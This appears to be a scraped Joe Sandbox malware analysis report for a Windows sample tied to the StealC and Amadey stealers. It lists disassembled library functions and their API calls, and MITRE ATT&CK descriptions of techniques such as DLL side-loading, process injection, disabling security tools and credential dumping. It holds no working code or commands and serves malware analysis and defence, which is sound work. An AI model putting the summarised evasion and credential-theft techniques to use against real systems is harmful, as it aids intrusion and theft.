API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction ID: ae06156d6bacca7e9dd5d9bb8c3e17f4f1e599da0bbb2d82f8cd29c6ab0d3005
Opcode Fuzzy Hash: c497ee272bd85c0a2daa55b3ce090610ba1680cd56dfeb06f20d4e29927c36ef
Instruction Fuzzy Hash: BD11C836E08688D7DB009F69CC244EDB779FF96218B499219DC49A7621EB30E6C4C350

Function 6C964730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9644B2,6C9DE21C,6C9DF7F8), ref: 6C96473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C96474A

Strings

GetNtLoaderAPI, xrefs: 6C964744

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction ID: f1cda16d695908bbd307540fdb4711dc50a4806afec0f63a8687042f72b68fbf
Opcode Fuzzy Hash: 8c30f4870fa00abb936e6fa3bad4116a238399edea6652f99df304fd981a1bab
Instruction Fuzzy Hash: E7019275708754CFDF00AFA68854619BBB9EF8B761B154469EA06D7740CB70E801CFA2

Function 6C9B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9B6E22
__Init_thread_footer.LIBCMT ref: 6C9B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9B6E1D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction ID: 4eec0349a851278febdca1097a833dac929feb13fc97b1122e099e3fb31f5552
Opcode Fuzzy Hash: f6f3ef003dba3d1df7c96444c16f65cef3b45e50ef26198ecf2115b1958b2b3d
Instruction Fuzzy Hash: 2BF0503120994CDBDB008BA8C852A9273F1935361CF5C0155F80477F91C731F65ACB53

Function 6C969E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C969EEF

Strings

Infinity, xrefs: 6C969EB7
NaN, xrefs: 6C969EC1

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction ID: a68406bf20254f7c53f4006fc1909cdaea423b497af1176b9eea011b9f2a109e
Opcode Fuzzy Hash: 842404dea5dc68143e665006d6f2dec5d3da53abc672d39268244c2f592baed2
Instruction Fuzzy Hash: 0AF04971609E41CBEB00CF98D847B9473B1A75771DF354A59C5082BB80D775F6CACA82

Function 6C96BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C96BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C96BEF5

Strings

cryptbase.dll, xrefs: 6C96BEF0

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction ID: 9c1673ca6a609f562cc4062b7d4c9acec0c25ea6c164f6b512cc7d3c994cb781
Opcode Fuzzy Hash: 7d098df918a7eae6cdc4537d316f34f2c377ae96583c6bd8a7a5dc7461c70023
Instruction Fuzzy Hash: 89D023311C4508F7D7016B518C09F1937789702715F20C020F30564C91D7B0F450DFE4

Function 6C9550E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C95510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C,?,?,?,?,?), ref: 6C955167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C955196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C954E9C), ref: 6C955234

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: edee7e2876aee732ff45a78ac653b5fdb823a2baad613fbc1bdc7a711393f647
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B691CE35501646CFCB14CF09C490A5ABBA6FF99318B28858CDC589BB16D331FD92CBE1

Function 6C9908F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990918
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9909A6
EnterCriticalSection.KERNEL32(6C9DE7DC,?,00000000), ref: 6C9909F3
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C990ACB

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction ID: d3befe7a4f976c521bfad4eace1527be6ce43af4b2af64afd759f938475818cc
Opcode Fuzzy Hash: 833df88e8fe081bc6b3f9d58f19570b1048e26883e55ca00b94d8daccd3156b9
Instruction Fuzzy Hash: 90512C36B06E50CBEB049A15C414665B3B9EB8AF2473D853ADD75A7F80D731FC8186C1

Function 6C9AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB628

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C9AB2C9,?,?,?,6C9AB127,?,?,?,?,?,?,?,?,?,6C9AAE52), ref: 6C9AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C9AB127,?,?,?,?,?,?,?,?), ref: 6C9AB74D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction ID: c65967e1f85ce746cd827f6644134cdf9e4f9b300e1e802e70dec5fa333f7cc0
Opcode Fuzzy Hash: 81c3d9851fc4180664e1f212f6afe8b6158799243a141def6e7f56d8bc58896f
Instruction Fuzzy Hash: 8651ED71A0521ACBDB14CF98C98076EBBB5FF44704F15852DC85AABB10D771E806CBA1

Function 6C9ADF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C99FF2A), ref: 6C9ADFFD

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C99FF2A), ref: 6C9AE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C99FF2A), ref: 6C9AE0FE

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction ID: f2ae2ce04c91387e652841b62fccb90e4afd234def3e245de11b8f595b4916ab
Opcode Fuzzy Hash: 14355927457d629c4872fcd489a0407ca909c108c9ebe1080465899144166865
Instruction Fuzzy Hash: 8741C471608226CFEB14CFA9C89036A73B5BB45308F14453DD516EB740E731E966CB92

Function 6C9A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C9A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C9A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A6F5C

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction ID: 27068665d7e028ac19d70f7693af422e3f232266c6bb996cdf046fac444b5bb7
Opcode Fuzzy Hash: 43aee19e3f0c5cb9c66f6c71f6eece80b20e29e2182b737823a5defea81eab87
Instruction Fuzzy Hash: 9531F671A1060A8FDB04CF6CC9806AA73E9EB94304F60423DD41AD7651EF31E66AC7A1

Function 6C9BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C960A4D), ref: 6C9BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C960A4D), ref: 6C9BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C960A4D), ref: 6C9BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C960A4D), ref: 6C9BB67F

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction ID: 1e6818b70d90afa943eacdccacf6a42aefc3ddc81936bb5cfd5fe10332e2ae08
Opcode Fuzzy Hash: 4a3fa7251f20dddc6a31a05e6545ba1e6e250dcf32023cc5abafa5e9dbd4eb59
Instruction Fuzzy Hash: 6E31E371A00217DFDB10CF58C88466BBBB9EF84324F168629C84AFB241DB31ED15CBA1

Function 6C98F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C98F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C98F668

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: e7f27f9f32ace74b3a6bba9ab02ad8230c30b8ed2a5ba9c71f665feb71d6b9ea
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 5B315E71B00214AFCB14CF19DCC0AAA7BB9EB94358B148938EA498BF04D631E9448B91

Function 6C9A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26C1
free.MOZGLUE(?), ref: 6C9A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9A26FF
free.MOZGLUE ref: 6C9A270D

Memory Dump Source

Source File: 00000000.00000002.2741982462.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2741925804.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742147971.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742245543.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2742297673.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction ID: 808196dbb8c7bf08ebfe75096d6c216f8bfecdf6c4da0336bc457311e1ce8cce
Opcode Fuzzy Hash: 1264677abb0e2ab6cd0a034bc7a0299bdd433441f67f6c834f4097ed3b41bb67
Instruction Fuzzy Hash: 44F02DB27026016BEB109E59D88495B73ADFF5131CB200035EA1ED3B11E331F95AC6A2

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

